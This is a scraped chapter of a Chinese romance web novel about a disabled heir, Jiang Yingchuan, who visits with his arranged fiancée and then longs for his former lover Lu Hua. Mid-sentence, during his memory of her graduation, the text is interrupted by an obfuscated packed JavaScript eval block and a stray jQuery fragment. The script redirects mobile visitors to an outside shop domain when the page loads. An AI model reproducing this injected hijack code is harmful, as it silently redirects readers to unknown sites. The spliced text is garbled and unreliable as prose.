文趣网 > 都市小说 > 画川 > 8. 第 8 章
    钟斯婷来江华总部的时候,陈薇在走廊上撞见她,吓了一跳。

    “钟小姐,您怎么来了?我去知会江总……”

    “好,有劳。”钟斯婷微微一笑,笑容得体而优雅,“我路过,顺便看看映川。”

    她穿着一件鹅黄色的及膝裙,外面套了件米白色香奈儿粗呢外套,长发披在肩上,妆容淡雅,整个人像是精致的工笔画,每一笔都恰到好处。

    陈薇在心里感叹,这就是大家闺秀。不争不抢,气质斐然。

    她敲开江映川办公室的门:“江总,钟小姐来了。”

    江映川抬起头,放下手中的文件。

    “斯婷?”他有些意外,“你怎么来了?”

    钟斯婷走进去,在沙发上坐下,从身后拿出一个小袋:“聪嫂饼屋,旺角总店,很多人排队,带了份给你。”

    她的动作很自然,客气得体,但却没有未婚夫妻的甜蜜。钟斯婷的父亲钟远航是江华集团多年的合作伙伴,两家早有联姻的意向。钟斯婷比江映川小一岁,从小认识,算是青梅竹马。

    她一直喜欢他。谈不上怦然心动的爱,他们认识太久了,久到难有电光石火。江家所有人她都认识,唯有江映川清爽一些。只是彼时他几乎是江家最失势的儿子,一个天生的病秧子,江家的关注点从未在他身上,所以钟家当时从考虑他。只是没想到,这几乎没有存在感的江映川竟一路过关斩将,走到今天的地位。权宜种种,同他结亲最是合适,有了钟家助力,他执掌江家也不是没有可能。但他身体残疾,这是横亘在这桩姻亲里的伤疤,钟斯婷是圈中有名的高门贵女,她心底角落里更想身边的男人没有瑕疵,同她登对。

    “你知道的,我不喜甜食。”他淡淡说。

    “没关系,若你不吃随手送人也可以。”她笑,并不恼。

    封彦说他瘦了。她前阵子画廊开业,忙的很,许久未见他。今日一见,他下颌线更加锋利,颧骨的弧度更加明显,眼窝微微凹陷。他的五官本就是深邃型的,瘦了之后更显立体,但也更显憔悴。

    钟斯婷看着他的脸,心里有些发酸。

    “最近,你的腿……”钟斯婷不知怎么问。前阵子,摩根银行的应酬,她送他回家,那日他的腿疼的厉害,他在轮椅上不断痛呼出声。她推着卸下假肢的江映川,经过摩根大厦许多人侧目。她多少因为他的残缺而感到一丝难堪,毕竟本埠有名的千金,身旁的男人身有残缺,纵然他出众的外貌也难以掩盖他身体残疾带来的视觉冲击。

    钟斯婷为自己隐秘的隐私感到羞愧。她是喜欢他的。他吸引她。她也愿意和他共度一生。只是,只是,如果他没有残疾,该有多好。

    “我没事,不要紧。”江映川手捏了捏自己的膝盖,淡淡说。

    她认识江映川快二十年了。从前他是个安静的男孩,话不多,但眼神清亮。后来他出了事,整个人像是被抽走了所有颜色,变得灰蒙蒙的。再后来,他好像又活过来了,眼睛里有光了,可后来,他又灰暗了起来,整个人还多了凌厉和凛冽。

    她知道当年发生了什么。也知道那个叫卢婳的女人。

    钟斯婷从未嫉妒过卢婳。并非大度,而是因为她清楚地知道,她们是两个世界的两种人。卢婳是原野上的篝火,自由奔放,能点燃江映川。可那又如何,他们这些背景的公子,谁在外没有几个金丝雀,只是但凡有志向的,放在台前的那个,只能门当户对,没有。

    “下周江伯伯的生日宴,你准备得怎么样了?”钟斯婷问。

    “差不多了。”江映川手里把玩着一支签字笔,“礼物备好了。”

    “我帮你去挑的,我当然知道备好了。”钟斯婷笑着说,“我是问你自己的状态,那天人多,你应付得来吗?”

    江映川看了她一眼,目光里有一丝感激:“应付得来。”

    钟斯婷点点头,说:“辛苦了。”

    她知道他的性格,说“应付得来”就是不想被当成需要照顾的人。她尊重他的自尊,所以她不会说“我陪着你”这种话,只会在那天默默地站在他旁边。这才是门当户对的联姻该有的样子。不温不火,不骄不躁,恰到好处的关心,恰到好处的距离。

    可江映川不可抑制的,想起另一个女人。

    那个女人不会说“你辛苦了”,她只会趴在他背上,把下巴搁在他肩膀上,像只猫,谄媚说说“江映川你今天好帅”。

    她送他的礼物永远奇奇怪怪——泡泡机、草编蚂蚱、水晶手链、翻页动画小本子,每一页画着一个小人,翻动起来小人就会走路。

    那个小本子他现在还留着,在床头柜的抽屉里。

    是夜。

    他又点开那个账号。卢婳发了一张新的自拍照片。她站在一家古董店门口,穿着一件复古格纹西装外套,怀里抱着一只姜黄色的流浪猫。配文:“For the strays, no matter cats or people.”

    致流浪者,无论猫,还是人。

    江映川看着这张照片,哑然失笑。这女人,到处捡猫,大发善心,又不负责。这次,她又想求谁给她养呢?

    他想起很多事。

    想起卢婳在夜市遇到乞丐老者,她把身上所有的零钱都掏出来塞给他,自己连公交车的钱都没留。后来给他电话,说回不去学校了,可否派车送送她。

    想起卢婳说辅导员说她室友拿不到奖学金是因为成绩不够,她去查了成绩排名,发现那女孩的综合绩点明明在前三名,之所以拿不到,是因为被“操作”了。她一个人去找了学校领导,当面把事情摆出来,逻辑清晰,证据确凿。最后帮她争取到奖学金。而这位室友后来却和人说她贪慕虚荣,全靠男人,散布她被包养的流言。

    “你后悔吗?”他问她。

    “不后悔”她扬着下巴,“帮她是因为我的良心。她中伤我,我也管不了。”而后眼睛垂下,声音低了下来:“况且,她也没说错。”

    她就是这样一个人。

    爱钱,虚荣,不择手段往。但也善良,仗义,眼睛里揉不得沙子。

    她可以为了一个名牌包周旋于几个男人之间,也可以为了一个陌生人挺身而出。

    这两种截然相反的品质,在她身上共存,毫不违和。

    江映川靠坐在家里的沙发上,手机举在眼前,再一次翻看卢婳的社媒账号。他的视力很糟,医生多次告诫他不可过度用眼。

    他从头开始翻,翻到最早的那些照片——像素有些模糊,构图不够专业,滤镜也过时了。那时候她还在滨大读书,在宿舍的镜子前自拍,身后是堆满书的桌子和皱巴巴的床单。

    她穿着几十块的T恤,十几块的塑料凉鞋,脸上的笑容却比现在所有精修过的照片都要灿烂。

    翻到一张她穿着学士服的照片,站在滨大的校门口,手里扬起毕业证书,笑得露出后槽牙,灿烂夺目。

    那是她毕业那年。那时他们已是恋人。

    江映川记得那天。

    他去了她的毕业

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17604768|205699||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    典礼。他穿着Alexander Amosu定制西装,戴上了帮助他稳住松垮脚踝的足托,穿上薄底的皮鞋。若是不看他的拐杖,他英俊逼人,宛如画报模特。

    他撑着拐杖走进滨大的礼堂,周围全是年轻的学生。年轻人不加修饰的目光落在他身上,有好奇,有同情,有探究。

    他在人群里找她。隔着密密麻麻的人头,他看到那张明艳的脸。

    她穿着学士袍,戴着学士帽,站在一群同学中间,踮着脚尖在人群中寻找。她也看到了他,眼睛一下子亮了,推开人群跑过来。

    “你怎么来了?不是说不来了吗?”她跑到他面前,气喘吁吁地问。

    “毕业快乐”他说。他的确不想来。当她小心翼翼提议的时候,他下意识拒绝了。他已经太久没有出现在众人面前。

    她看着他,眼圈突然就红了。

    “怎么了?”他有些慌,“是不是我这样来唐突了?要不我去车里等你……”他心下是不安的,自己蹒跚笨拙的步子,病态的腿,是不是让她难堪了。

    “江映川你是傻子吗!”她一把抱住他,哭得稀里哗啦,把他昂贵笔挺的西装哭湿一片神深色的印记,“我太高兴了,你是全世界最好看的人!带拐杖也好看!”

    周围的人在笑,在拍照,在起哄。

    他当时站在那里,不敢动,并非迟钝不解小女孩的风情,只是他站的不算稳,他不能让自己摔倒。所以一只手撑着拐杖,一只手揽着她的腰,借着她的身体稳住,当然,那一刻,觉得全世界也就只剩下了怀里的这个人。

    划过这张照片时,江映川的手指停了。

    屏幕的光映在他渐渐模糊的眼睛里,那张卢婳大笑的照片忽然变成一片水光。他深吸一口气,准备退出账号。

    退出之前,他又看到了她今天发的动态视频。那只姜黄色的流浪猫,她抱在怀里,眼神温柔。

    “致流浪者,无论猫,还是人。”

    江映川按灭了屏幕,坐在黑暗里,良久未曾有动作。

    他的手机震动,钟斯婷发来消息:“映川,晚安,早点睡。”

    他看了,总语音回复“好的,晚安”。

    通讯录往下滑,那个备注着“罐罐mama”的号码,静静地躺在那里,四年了。那只已经死去的橘黄色小猫,叫罐罐,罐罐是卢婳起的名字。她说江映川短短时间把苗条的小猫咪养成了煤气罐罐。当时江映川还虚心请教了,什么是煤气罐。卢婳大叫他没有常识,给讲述煤气怎么使用,讲述煤气罐是什么样子。她当时自己改了社媒昵称,叫罐罐mama。可她不知道,当她随着云玳成远走之后,那个社媒平台有了个新的账号,叫罐罐baba。一开始发了几张小猫的照片,后面便再无新动态。

    最后一条,是橘色的罐罐肥嘟嘟的身体压住冷硬的假肢,抬眼看着镜头,昏昏欲睡的样子。配文:“可怜猫,有个全世界最糟的mama。”

    他的大拇指悬在那个号码上方,微微发抖。

    七个小时时差外,伦敦正是深夜。

    卢婳抱着那只在古董店门口捡到的流浪猫,坐在公寓的窗台上。猫很瘦,毛色也差,但很亲人,一个劲儿地往她怀里拱,发出咕噜咕噜的声音。她把下巴搁在猫的头顶上,看着窗外的城市。从前从前,她也捡到过一只小猫,不知道它过的怎么样。应该不错吧,江家的伙食一定把它喂得很好。

    那只猫叫什么来着。她已经忘记了。

    太久了。实在是太久了。